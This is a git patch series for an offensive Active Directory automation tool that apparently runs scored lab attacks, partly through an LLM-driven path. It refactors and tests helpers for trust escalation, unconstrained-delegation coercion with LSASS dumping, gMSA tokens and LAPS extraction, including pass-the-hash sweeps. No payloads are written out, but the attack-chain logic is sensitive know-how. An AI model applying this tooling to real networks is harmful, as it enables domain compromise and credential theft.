classify_trust_escalation( + source_domain: &str, + target_domain: &str, +) -> (String, &'static str, &'static str) { + if is_inter_forest(source_domain, target_domain) { + ( + forest_trust_vuln_id(source_domain, target_domain), + "forest_trust_escalation", + "Forest trust escalation", + ) + } else { + ( + child_to_parent_vuln_id(source_domain, target_domain), + "child_to_parent", + "Child-to-parent escalation", + ) + } +} + /// Build a trust account name from a flat name (e.g. "FABRIKAM" -> "FABRIKAM$"). fn trust_account_name(flat_name: &str) -> String { format!("{}$", flat_name.to_uppercase()) @@ -1423,26 +1450,8 @@ pub async fn auto_trust_follow(dispatcher: Arc, mut shutdown: watch: }; for item in work { - // Trust topology determines the scoreboard tokenization: intra-forest - // (child↔parent) escalations are a different MITRE primitive than - // inter-forest trust exploitation, even though both ride the same - // inter-realm-TGT + secretsdump mechanic here. - let is_intra_forest = !is_inter_forest(&item.source_domain, &item.target_domain); - let vuln_id = if is_intra_forest { - child_to_parent_vuln_id(&item.source_domain, &item.target_domain) - } else { - forest_trust_vuln_id(&item.source_domain, &item.target_domain) - }; - let vuln_type = if is_intra_forest { - "child_to_parent" - } else { - "forest_trust_escalation" - }; - let note_kind = if is_intra_forest { - "Child-to-parent escalation" - } else { - "Forest trust escalation" - }; + let (vuln_id, vuln_type, note_kind) = + classify_trust_escalation(&item.source_domain, &item.target_domain); // Defer dispatch when the target DC IP is unknown: impacket needs // a routable -target-ip for both create_inter_realm_ticket and the @@ -2839,4 +2848,49 @@ mod tests { let got = resolve_target_fqdn_from_signals(&s, "FABRIKAM", "contoso.local"); assert!(got.is_none()); } + + // classify_trust_escalation + + #[test] + fn classify_trust_escalation_intra_forest_child_to_parent() { + let (vuln_id, vuln_type, note_kind) = + classify_trust_escalation("child.contoso.local", "contoso.local"); + assert_eq!(vuln_id, "child_to_parent_child_contoso_local_contoso_local"); + assert_eq!(vuln_type, "child_to_parent"); + assert_eq!(note_kind, "Child-to-parent escalation"); + } + + #[test] + fn classify_trust_escalation_intra_forest_parent_to_child() { + let (vuln_id, vuln_type, note_kind) = + classify_trust_escalation("contoso.local", "child.contoso.local"); + assert_eq!(vuln_id, "child_to_parent_contoso_local_child_contoso_local"); + assert_eq!(vuln_type, "child_to_parent"); + assert_eq!(note_kind, "Child-to-parent escalation"); + } + + #[test] + fn classify_trust_escalation_inter_forest() { + let (vuln_id, vuln_type, note_kind) = + classify_trust_escalation("contoso.local", "fabrikam.local"); + assert_eq!(vuln_id, "forest_trust_contoso.local_fabrikam.local"); + assert_eq!(vuln_type, "forest_trust_escalation"); + assert_eq!(note_kind, "Forest trust escalation"); + } + + #[test] + fn classify_trust_escalation_same_domain_treated_as_intra() { + // is_inter_forest returns false for s == t, so the helper falls through + // to the intra-forest branch. The auto loop suppresses self-trust later; + // here we just pin the classification. + let (_, vuln_type, _) = classify_trust_escalation("contoso.local", "contoso.local"); + assert_eq!(vuln_type, "child_to_parent"); + } + + #[test] + fn classify_trust_escalation_case_insensitive() { + let (vuln_id_a, _, _) = classify_trust_escalation("CHILD.Contoso.Local", "Contoso.Local"); + let (vuln_id_b, _, _) = classify_trust_escalation("child.contoso.local", "contoso.local"); + assert_eq!(vuln_id_a, vuln_id_b); + } } diff --git a/ares-cli/src/orchestrator/automation/unconstrained.rs b/ares-cli/src/orchestrator/automation/unconstrained.rs index 68782274..8bdc272e 100644 --- a/ares-cli/src/orchestrator/automation/unconstrained.rs +++ b/ares-cli/src/orchestrator/automation/unconstrained.rs @@ -12,7 +12,7 @@ //! User accounts with unconstrained delegation (e.g. `sarah.connor`) are left to //! the LLM-driven exploit path since we can't determine the target host. -use std::collections::HashMap; +use std::collections::{HashMap, HashSet}; use std::sync::Arc; use std::time::Duration; @@ -34,6 +34,50 @@ const MAX_DUMP_ATTEMPTS: u32 = 3; /// Delay between successive dump retries for the same vuln. const DUMP_RETRY_DELAY: Duration = Duration::from_secs(60); +/// True when an unconstrained-delegation machine host coincides with the +/// DC we'd coerce *from* — the coerce-and-capture chain requires the DC +/// to authenticate to a *different* unconstrained host whose LSASS we +/// then dump for the captured TGT. When they're the same machine both +/// PetitPotam (self-loop returns rpc_s_access_denied) and PrinterBug +/// (ERROR_INVALID_HANDLE) fail, and even a successful self-coerce would +/// require local admin on the DC — at which point dc_secretsdump is the +/// canonical exploitation path. Emits a debug log explaining why the +/// chain was skipped so the operator can distinguish "subsumed by +/// dc_secretsdump" (we already own the domain) from "deferring (no +/// self-coerce path)" (we don't). +/// +/// User accounts (no trailing `$`) never trigger this skip — for them we +/// route to the LLM exploit path regardless. +fn skip_self_coerce_loop( + vuln_id: &str, + is_machine: bool, + dc_ip: Option<&str>, + host_ip: &str, + domain_lc: &str, + dominated_domains: &HashSet, +) -> bool { + if !is_machine { + return false; + } + if dc_ip.is_none_or(|ip| ip != host_ip) { + return false; + } + if dominated_domains.contains(domain_lc) { + debug!( + vuln_id = %vuln_id, + host = %host_ip, + "Unconstrained delegation host == DC — subsumed by dc_secretsdump" + ); + } else { + debug!( + vuln_id = %vuln_id, + host = %host_ip, + "Unconstrained delegation host == DC — deferring (no self-coerce path)" + ); + } + true +} + // Phase tracking (in-memory only — intentionally not persisted so restarts // re-trigger the chain, since cached TGTs expire quickly). #[derive(Debug)] @@ -140,36 +184,14 @@ pub async fn auto_unconstrained_exploitation( dc_ip.as_ref().cloned()? }; - // Skip when the unconstrained host IS the DC we'd coerce from. - // The coerce-and-capture chain requires the DC to authenticate - // to a *different* unconstrained host whose LSASS we then dump - // for the captured TGT. When they're the same machine, both - // PetitPotam (self-loop returns rpc_s_access_denied) and - // PrinterBug (ERROR_INVALID_HANDLE) fail, and even if the - // self-coerce worked, dumping LSASS on the DC requires local - // admin — at which point we already have DA and the dc_secretsdump - // path is the canonical exploitation. Mark exploited only if the - // domain has actually been compromised through secretsdump (the - // dominated_domains signal); otherwise just defer silently so - // the chain isn't burning throttle budget on doomed attempts. - if is_machine - && dc_ip - .as_ref() - .is_some_and(|ip| ip == &host_ip) - { - if state.dominated_domains.contains(&domain.to_lowercase()) { - debug!( - vuln_id = %vuln.vuln_id, - host = %host_ip, - "Unconstrained delegation host == DC — subsumed by dc_secretsdump" - ); - } else { - debug!( - vuln_id = %vuln.vuln_id, - host = %host_ip, - "Unconstrained delegation host == DC — deferring (no self-coerce path)" - ); - } + if skip_self_coerce_loop( + &vuln.vuln_id, + is_machine, + dc_ip.as_deref(), + &host_ip, + &domain.to_lowercase(), + &state.dominated_domains, + ) { return None; } @@ -975,4 +997,107 @@ mod tests { assert!(phase.coercion_dispatched_at.is_none()); assert_eq!(phase.dump_attempts, 0); } + + // skip_self_coerce_loop + + #[test] + fn skip_self_coerce_loop_user_account_never_skips() { + let dominated = HashSet::new(); + // is_machine = false → always returns false regardless of IP overlap. + assert!(!skip_self_coerce_loop( + "vuln-1", + false, + Some("192.168.58.10"), + "192.168.58.10", + "contoso.local", + &dominated, + )); + } + + #[test] + fn skip_self_coerce_loop_no_dc_ip_no_skip() { + let dominated = HashSet::new(); + assert!(!skip_self_coerce_loop( + "vuln-1", + true, + None, + "192.168.58.10", + "contoso.local", + &dominated, + )); + } + + #[test] + fn skip_self_coerce_loop_distinct_dc_no_skip() { + let dominated = HashSet::new(); + // DC and unconstrained host are different machines — the chain is + // viable, so we don't skip. + assert!(!skip_self_coerce_loop( + "vuln-1", + true, + Some("192.168.58.10"), + "192.168.58.20", + "contoso.local", + &dominated, + )); + } + + #[test] + fn skip_self_coerce_loop_dc_equals_host_skips_when_dominated() { + let mut dominated = HashSet::new(); + dominated.insert("contoso.local".to_string()); + // host == DC AND domain already dominated → skip (subsumed by + // dc_secretsdump). + assert!(skip_self_coerce_loop( + "vuln-1", + true, + Some("192.168.58.10"), + "192.168.58.10", + "contoso.local", + &dominated, + )); + } + + #[test] + fn skip_self_coerce_loop_dc_equals_host_skips_when_not_dominated() { + let dominated = HashSet::new(); + // host == DC and domain NOT dominated → still skip, but the debug + // log explains it's a defer (no self-coerce path) rather than a + // subsumption. + assert!(skip_self_coerce_loop( + "vuln-1", + true, + Some("192.168.58.10"), + "192.168.58.10", + "contoso.local", + &dominated, + )); + } + + #[test] + fn skip_self_coerce_loop_dominance_check_is_case_sensitive_on_input() { + // Caller is responsible for lowercasing the domain before passing it + // in — the helper compares with the dominated_domains set as-is. + let mut dominated = HashSet::new(); + dominated.insert("contoso.local".to_string()); + // Lowercase input matches → skip path. + assert!(skip_self_coerce_loop( + "vuln-1", + true, + Some("192.168.58.10"), + "192.168.58.10", + "contoso.local", + &dominated, + )); + // Uppercase input does NOT match — but skip still fires because + // host == DC; only the log branch differs. + assert!(skip_self_coerce_loop( + "vuln-1", + true, + Some("192.168.58.10"), + "192.168.58.10", + "CONTOSO.LOCAL", + &dominated, + )); + } } diff --git a/ares-cli/src/orchestrator/result_processing/mod.rs b/ares-cli/src/orchestrator/result_processing/mod.rs index 01984810..4d4c8bc2 100644 --- a/ares-cli/src/orchestrator/result_processing/mod.rs +++ b/ares-cli/src/orchestrator/result_processing/mod.rs @@ -400,6 +400,13 @@ fn is_gmsa_principal(username: &str) -> bool { !trimmed.is_empty() && trimmed.len() < username.len() && trimmed.to_lowercase().contains("gmsa") } +/// `gmsa_{name}` scoreboard token for a gMSA principal — the trailing `$` +/// is stripped and the name lowercased so secretsdump-surfaced and +/// enumeration-surfaced paths converge on a single exploited-set entry. +fn gmsa_exploit_token(username: &str) -> String { + format!("gmsa_{}", username.trim_end_matches('$').to_lowercase()) +} + fn parse_lockout_principal(line: &str) -> Option<(String, Option)> { let marker_pos = LOCKOUT_PATTERNS.iter().filter_map(|p| line.find(p)).min()?; let prefix = &line[..marker_pos]; @@ -976,7 +983,7 @@ async fn extract_discoveries( // Without this, gMSA hashes captured incidentally via DCSync // never emit a `gmsa_*` token to the exploited set. if is_gmsa_principal(&username) { - let vuln_id = format!("gmsa_{}", username.trim_end_matches('$').to_lowercase()); + let vuln_id = gmsa_exploit_token(&username); if let Err(e) = dispatcher .state .mark_exploited(&dispatcher.queue, &vuln_id) diff --git a/ares-cli/src/orchestrator/result_processing/tests.rs b/ares-cli/src/orchestrator/result_processing/tests.rs index 816a71ca..75533510 100644 --- a/ares-cli/src/orchestrator/result_processing/tests.rs +++ b/ares-cli/src/orchestrator/result_processing/tests.rs @@ -1255,3 +1255,20 @@ fn is_gmsa_principal_rejects_user_without_trailing_dollar() { assert!(!is_gmsa_principal("")); assert!(!is_gmsa_principal("$")); } + +#[test] +fn gmsa_exploit_token_strips_dollar_and_lowercases() { + use super::gmsa_exploit_token; + assert_eq!(gmsa_exploit_token("gmsaDragon$"), "gmsa_gmsadragon"); + assert_eq!(gmsa_exploit_token("GMSA_WEB$"), "gmsa_gmsa_web"); + assert_eq!(gmsa_exploit_token("svc_gmsa$"), "gmsa_svc_gmsa"); +} + +#[test] +fn gmsa_exploit_token_converges_with_enumeration_format() { + // Enumeration path emits `gmsa_{name}` lowercased; secretsdump-surfaced + // path must produce the same key so the exploited-set entry deduplicates + // across paths and the scoreboard counts the primitive once. + use super::gmsa_exploit_token; + assert_eq!(gmsa_exploit_token("gmsaDragon$"), "gmsa_gmsadragon"); +} diff --git a/ares-tools/src/credential_access/misc.rs b/ares-tools/src/credential_access/misc.rs index 6b7f4c75..c320d3f1 100644 --- a/ares-tools/src/credential_access/misc.rs +++ b/ares-tools/src/credential_access/misc.rs @@ -957,6 +957,26 @@ mod tests { assert!(required_str(&args, "domain").is_ok()); } + // --- laps_dump auth-arg validation gate --- + + #[tokio::test] + async fn laps_dump_rejects_missing_password_and_nt_hash() { + // Validation runs before netexec spawn — neither password nor + // nt_hash supplied means we bail with a clear error message rather + // than letting netexec fail anonymously. + let args = json!({ + "target": "192.168.58.10", + "username": "alice", + "domain": "contoso.local", + }); + let err = super::laps_dump(&args).await.unwrap_err(); + assert!( + err.to_string() + .contains("requires either 'password' or 'nt_hash'"), + "unexpected error: {err}" + ); + } + // --- DEFAULT_SPRAY_USERNAMES --- #[test] From 5e458b8019ac08b972b559f1a69bd628c9e64b88 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Tue, 12 May 2026 16:21:55 -0600 Subject: [PATCH 8/9] refactor: extract and unit test trust and LAPS work item builders **Added:** - Introduced `collect_laps_vuln_work` and `collect_laps_sweep_work` functions to encapsulate LAPS work item logic, enabling independent unit testing of LAPS extraction paths - Added comprehensive unit tests for `collect_laps_vuln_work` and `collect_laps_sweep_work`, covering credential filtering, deduplication, and field extraction - Introduced `build_trust_escalation_vuln` function for constructing trust escalation vulnerabilities, with associated unit tests verifying all details fields and escalation scenarios **Changed:** - Refactored `auto_laps_extraction` to use the new `collect_laps_vuln_work` and `collect_laps_sweep_work` helpers, reducing inline logic duplication and clarifying extraction paths - Refactored `auto_trust_follow` to use the new `build_trust_escalation_vuln` for vulnerability construction, eliminating repeated details assembly and improving testability **Removed:** - Removed inlined LAPS and trust escalation work item construction code from main automation loops, delegating logic to testable helper functions --- ares-cli/src/orchestrator/automation/laps.rs | 529 ++++++++++++++---- ares-cli/src/orchestrator/automation/trust.rs | 151 +++-- 2 files changed, 538 insertions(+), 142 deletions(-) diff --git a/ares-cli/src/orchestrator/automation/laps.rs b/ares-cli/src/orchestrator/automation/laps.rs index 07bf74fe..bb74f095 100644 --- a/ares-cli/src/orchestrator/automation/laps.rs +++ b/ares-cli/src/orchestrator/automation/laps.rs @@ -27,6 +27,123 @@ fn is_laps_candidate(vuln_type: &str) -> bool { vtype == "laps_abuse" || vtype == "laps_reader" || vtype == "laps" } +/// Path 1: Vulnerability-driven LAPS — BloodHound or an ACL probe surfaced an +/// explicit LAPS-reader principal. Match the principal to a known credential +/// and emit one work item per (unexploited, unprocessed) LAPS vulnerability. +/// +/// Filters mirror the inline path: `is_laps_candidate` vuln types, +/// not-yet-exploited, not-yet-dispatched, and the principal must be present in +/// `state.credentials` (we lack auth material to act on a name we can't +/// authenticate as). Splits out so the per-vuln field extraction can be unit +/// tested without spinning a Dispatcher. +fn collect_laps_vuln_work(state: &StateInner) -> Vec { + let mut items = Vec::new(); + for vuln in state.discovered_vulnerabilities.values() { + if !is_laps_candidate(&vuln.vuln_type) { + continue; + } + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + continue; + } + let dedup_key = format!("{DEDUP_LAPS}:vuln:{}", vuln.vuln_id); + if state.is_processed(DEDUP_LAPS, &dedup_key) { + continue; + } + + let reader = vuln + .details + .get("source") + .or_else(|| vuln.details.get("account_name")) + .or_else(|| vuln.details.get("reader")) + .and_then(|v| v.as_str()); + + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or(""); + + let target_computer = vuln + .details + .get("target") + .or_else(|| vuln.details.get("target_computer")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + + let credential = reader.and_then(|r| { + state + .credentials + .iter() + .find(|c| { + c.username.to_lowercase() == r.to_lowercase() + && (domain.is_empty() || c.domain.to_lowercase() == domain.to_lowercase()) + }) + .cloned() + }); + + if let Some(cred) = credential { + let dc_ip = state + .domain_controllers + .get(&domain.to_lowercase()) + .cloned(); + items.push(LapsWork { + dedup_key, + domain: domain.to_string(), + dc_ip, + target_computer: if target_computer.is_empty() { + None + } else { + Some(target_computer.to_string()) + }, + credential: cred, + nt_hash: None, + vuln_id: Some(vuln.vuln_id.clone()), + }); + } + } + items +} + +/// Path 2: Domain-wide LAPS sweep — try each plaintext credential against its +/// domain's DC to read LAPS for every computer. Mirrors the hash-fallback +/// sweep filters (`collect_laps_hash_sweep_work`) so the same principal is +/// never dispatched twice across both paths. +fn collect_laps_sweep_work(state: &StateInner) -> Vec { + let mut items = Vec::new(); + for cred in state.credentials.iter().filter(|c| { + !c.domain.is_empty() + && !c.password.is_empty() + && !state.is_delegation_account(&c.username) + && !state.is_principal_quarantined(&c.username, &c.domain) + }) { + let dedup_key = format!( + "{DEDUP_LAPS}:sweep:{}:{}", + cred.domain.to_lowercase(), + cred.username.to_lowercase() + ); + if state.is_processed(DEDUP_LAPS, &dedup_key) { + continue; + } + let dc_ip = state + .domain_controllers + .get(&cred.domain.to_lowercase()) + .cloned(); + if dc_ip.is_none() { + continue; + } + items.push(LapsWork { + dedup_key, + domain: cred.domain.clone(), + dc_ip, + target_computer: None, + credential: cred.clone(), + nt_hash: None, + vuln_id: None, + }); + } + items +} + /// Domain-wide LAPS sweep via NTLM hash (pass-the-hash) — a LAPS-reader /// principal may only exist in `state.hashes` (e.g. surfaced by /// secretsdump on the DC) without a plaintext password. Treat each NTLM @@ -153,114 +270,14 @@ pub async fn auto_laps_extraction( continue; } - // Two paths to LAPS: + // Three paths to LAPS: // 1. Vuln-driven: BloodHound/ACL analysis found explicit LAPS read access - // 2. Domain-wide: try each credential against the DC to read LAPS for all - // computers (netexec ldap -M laps) - - let mut items = Vec::new(); - - // Path 1: Vulnerability-driven LAPS (specific reader identified) - for vuln in state.discovered_vulnerabilities.values() { - if !is_laps_candidate(&vuln.vuln_type) { - continue; - } - if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { - continue; - } - - let dedup_key = format!("{DEDUP_LAPS}:vuln:{}", vuln.vuln_id); - if state.is_processed(DEDUP_LAPS, &dedup_key) { - continue; - } - - let reader = vuln - .details - .get("source") - .or_else(|| vuln.details.get("account_name")) - .or_else(|| vuln.details.get("reader")) - .and_then(|v| v.as_str()); - - let domain = vuln - .details - .get("domain") - .and_then(|v| v.as_str()) - .unwrap_or(""); - - let target_computer = vuln - .details - .get("target") - .or_else(|| vuln.details.get("target_computer")) - .and_then(|v| v.as_str()) - .unwrap_or(""); - - // Find credential for the reader - let credential = reader - .and_then(|r| { - state.credentials.iter().find(|c| { - c.username.to_lowercase() == r.to_lowercase() - && (domain.is_empty() - || c.domain.to_lowercase() == domain.to_lowercase()) - }) - }) - .cloned(); - - if let Some(cred) = credential { - let dc_ip = state - .domain_controllers - .get(&domain.to_lowercase()) - .cloned(); - - items.push(LapsWork { - dedup_key, - domain: domain.to_string(), - dc_ip, - target_computer: if target_computer.is_empty() { - None - } else { - Some(target_computer.to_string()) - }, - credential: cred, - nt_hash: None, - vuln_id: Some(vuln.vuln_id.clone()), - }); - } - } - - // Path 2: Domain-wide LAPS sweep (one per domain+credential) - for cred in state.credentials.iter().filter(|c| { - !c.domain.is_empty() - && !c.password.is_empty() - && !state.is_delegation_account(&c.username) - && !state.is_principal_quarantined(&c.username, &c.domain) - }) { - let dedup_key = format!( - "{DEDUP_LAPS}:sweep:{}:{}", - cred.domain.to_lowercase(), - cred.username.to_lowercase() - ); - if state.is_processed(DEDUP_LAPS, &dedup_key) { - continue; - } - - let dc_ip = state - .domain_controllers - .get(&cred.domain.to_lowercase()) - .cloned(); - - if dc_ip.is_some() { - items.push(LapsWork { - dedup_key, - domain: cred.domain.clone(), - dc_ip, - target_computer: None, - credential: cred.clone(), - nt_hash: None, - vuln_id: None, - }); - } - } - + // 2. Domain-wide sweep: try each plaintext credential against the DC + // to read LAPS for all computers (netexec ldap -M laps) + // 3. Hash-fallback sweep: same as #2 but pass-the-hash when only an + // NTLM hash is available for a candidate principal. + let mut items = collect_laps_vuln_work(&state); + items.extend(collect_laps_sweep_work(&state)); items.extend(collect_laps_hash_sweep_work(&state)); // Limit to avoid spamming @@ -601,4 +618,302 @@ mod tests { assert!(payload.get("target_ip").is_none()); assert!(payload.get("dc_ip").is_none()); } + + // collect_laps_vuln_work + + fn vuln_with_details( + vuln_id: &str, + vuln_type: &str, + details: Vec<(&str, &str)>, + ) -> ares_core::models::VulnerabilityInfo { + let mut map = std::collections::HashMap::new(); + for (k, v) in details { + map.insert(k.into(), serde_json::Value::String(v.into())); + } + ares_core::models::VulnerabilityInfo { + vuln_id: vuln_id.into(), + vuln_type: vuln_type.into(), + target: String::new(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details: map, + recommended_agent: String::new(), + priority: 5, + } + } + + fn plaintext_cred( + username: &str, + domain: &str, + password: &str, + ) -> ares_core::models::Credential { + ares_core::models::Credential { + id: String::new(), + username: username.into(), + password: password.into(), + domain: domain.into(), + source: "test".into(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn laps_vuln_work_emits_item_when_reader_credential_known() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-laps-1".into(), + vuln_with_details( + "vuln-laps-1", + "laps_reader", + vec![ + ("source", "alice"), + ("domain", "contoso.local"), + ("target", "ws01.contoso.local"), + ], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + + let work = collect_laps_vuln_work(&s); + assert_eq!(work.len(), 1); + let item = &work[0]; + assert_eq!(item.vuln_id.as_deref(), Some("vuln-laps-1")); + assert_eq!(item.domain, "contoso.local"); + assert_eq!(item.dc_ip.as_deref(), Some("192.168.58.10")); + assert_eq!(item.target_computer.as_deref(), Some("ws01.contoso.local")); + assert_eq!(item.credential.username, "alice"); + assert!(item.nt_hash.is_none()); + assert_eq!(item.dedup_key, "laps_extract:vuln:vuln-laps-1"); + } + + #[test] + fn laps_vuln_work_falls_back_to_account_name_then_reader() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-1".into(), + vuln_with_details( + "vuln-1", + "laps", + vec![("account_name", "bob"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("bob", "contoso.local", "P@ss!")); + assert_eq!(collect_laps_vuln_work(&s).len(), 1); + + // `reader` key works too + s.discovered_vulnerabilities.clear(); + s.discovered_vulnerabilities.insert( + "vuln-2".into(), + vuln_with_details( + "vuln-2", + "laps_abuse", + vec![("reader", "bob"), ("domain", "contoso.local")], + ), + ); + assert_eq!(collect_laps_vuln_work(&s).len(), 1); + } + + #[test] + fn laps_vuln_work_skips_non_laps_vulnerability() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-x".into(), + vuln_with_details( + "vuln-x", + "rbcd", + vec![("source", "alice"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + assert!(collect_laps_vuln_work(&s).is_empty()); + } + + #[test] + fn laps_vuln_work_skips_already_exploited() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-done".into(), + vuln_with_details( + "vuln-done", + "laps_reader", + vec![("source", "alice"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.exploited_vulnerabilities.insert("vuln-done".into()); + assert!(collect_laps_vuln_work(&s).is_empty()); + } + + #[test] + fn laps_vuln_work_skips_already_processed_dedup_key() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-p".into(), + vuln_with_details( + "vuln-p", + "laps_reader", + vec![("source", "alice"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.mark_processed(DEDUP_LAPS, "laps_extract:vuln:vuln-p".into()); + assert!(collect_laps_vuln_work(&s).is_empty()); + } + + #[test] + fn laps_vuln_work_skips_when_reader_principal_has_no_credential() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-orphan".into(), + vuln_with_details( + "vuln-orphan", + "laps_reader", + vec![("source", "ghost"), ("domain", "contoso.local")], + ), + ); + // No credential for "ghost" — item must not be emitted. + assert!(collect_laps_vuln_work(&s).is_empty()); + } + + #[test] + fn laps_vuln_work_target_computer_falls_back_to_target_field() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-tgt".into(), + vuln_with_details( + "vuln-tgt", + "laps_reader", + vec![ + ("source", "alice"), + ("domain", "contoso.local"), + ("target", "ws07.contoso.local"), + ], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + let work = collect_laps_vuln_work(&s); + assert_eq!( + work[0].target_computer.as_deref(), + Some("ws07.contoso.local") + ); + } + + #[test] + fn laps_vuln_work_target_computer_none_when_unspecified() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-no-tgt".into(), + vuln_with_details( + "vuln-no-tgt", + "laps_reader", + vec![("source", "alice"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + assert!(collect_laps_vuln_work(&s)[0].target_computer.is_none()); + } + + // collect_laps_sweep_work + + #[test] + fn laps_sweep_emits_item_for_plaintext_credential_with_dc() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + let work = collect_laps_sweep_work(&s); + assert_eq!(work.len(), 1); + let item = &work[0]; + assert_eq!(item.credential.username, "alice"); + assert_eq!(item.dedup_key, "laps_extract:sweep:contoso.local:alice"); + assert!(item.nt_hash.is_none()); + assert!(item.vuln_id.is_none()); + assert!(item.target_computer.is_none()); + } + + #[test] + fn laps_sweep_skips_empty_password() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "")); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_empty_domain() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials.push(plaintext_cred("alice", "", "P@ss!")); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_when_no_dc_for_domain() { + let mut s = StateInner::new("op-test".into()); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_quarantined_principal() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.quarantine_principal("alice", "contoso.local"); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_delegation_account() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + let mut details = std::collections::HashMap::new(); + details.insert( + "account_name".into(), + serde_json::Value::String("svc_web".into()), + ); + s.discovered_vulnerabilities.insert( + "vuln-deleg".into(), + ares_core::models::VulnerabilityInfo { + vuln_id: "vuln-deleg".into(), + vuln_type: "constrained_delegation".into(), + target: "192.168.58.10".into(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 1, + }, + ); + s.credentials + .push(plaintext_cred("svc_web", "contoso.local", "P@ss!")); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_already_processed_dedup_key() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.mark_processed(DEDUP_LAPS, "laps_extract:sweep:contoso.local:alice".into()); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_emits_one_item_per_eligible_credential() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.credentials + .push(plaintext_cred("bob", "contoso.local", "p2")); + assert_eq!(collect_laps_sweep_work(&s).len(), 2); + } } diff --git a/ares-cli/src/orchestrator/automation/trust.rs b/ares-cli/src/orchestrator/automation/trust.rs index a39f3674..61a53701 100644 --- a/ares-cli/src/orchestrator/automation/trust.rs +++ b/ares-cli/src/orchestrator/automation/trust.rs @@ -72,6 +72,51 @@ fn trust_account_name(flat_name: &str) -> String { format!("{}$", flat_name.to_uppercase()) } +/// Assemble the `VulnerabilityInfo` for a single trust-escalation work item. +/// +/// Splits out so the (vuln_id, vuln_type, note prefix) tuple emitted by +/// [`classify_trust_escalation`] plus the trust_account, source, target, and +/// target_dc_ip fields can be unit-tested without running the async dispatch +/// loop. Always returns a vuln with `priority = 1` and +/// `discovered_by = "trust_automation"`. +fn build_trust_escalation_vuln( + source_domain: &str, + target_domain: &str, + trust_account: &str, + target_dc_ip: &str, +) -> ares_core::models::VulnerabilityInfo { + let (vuln_id, vuln_type, note_kind) = classify_trust_escalation(source_domain, target_domain); + let mut details = std::collections::HashMap::new(); + details.insert( + "source_domain".into(), + serde_json::Value::String(source_domain.to_string()), + ); + details.insert( + "target_domain".into(), + serde_json::Value::String(target_domain.to_string()), + ); + details.insert( + "trust_account".into(), + serde_json::Value::String(trust_account.to_string()), + ); + details.insert( + "note".into(), + serde_json::Value::String(format!( + "{note_kind} via {trust_account} trust key — inter-realm ticket + secretsdump" + )), + ); + ares_core::models::VulnerabilityInfo { + vuln_id, + vuln_type: vuln_type.to_string(), + target: target_dc_ip.to_string(), + discovered_by: "trust_automation".to_string(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 1, + } +} + /// Returns true when source and target are in different forests /// (neither is a parent or child of the other, and they are not equal). /// @@ -1450,9 +1495,6 @@ pub async fn auto_trust_follow(dispatcher: Arc, mut shutdown: watch: }; for item in work { - let (vuln_id, vuln_type, note_kind) = - classify_trust_escalation(&item.source_domain, &item.target_domain); - // Defer dispatch when the target DC IP is unknown: impacket needs // a routable -target-ip for both create_inter_realm_ticket and the // forge-and-present secretsdump fallback. Passing the bare domain @@ -1470,38 +1512,14 @@ pub async fn auto_trust_follow(dispatcher: Arc, mut shutdown: watch: continue; } }; - let trust_target = target_dc_ip.clone(); + let vuln = build_trust_escalation_vuln( + &item.source_domain, + &item.target_domain, + &item.hash.username, + &target_dc_ip, + ); + let vuln_id = vuln.vuln_id.clone(); { - let mut details = std::collections::HashMap::new(); - 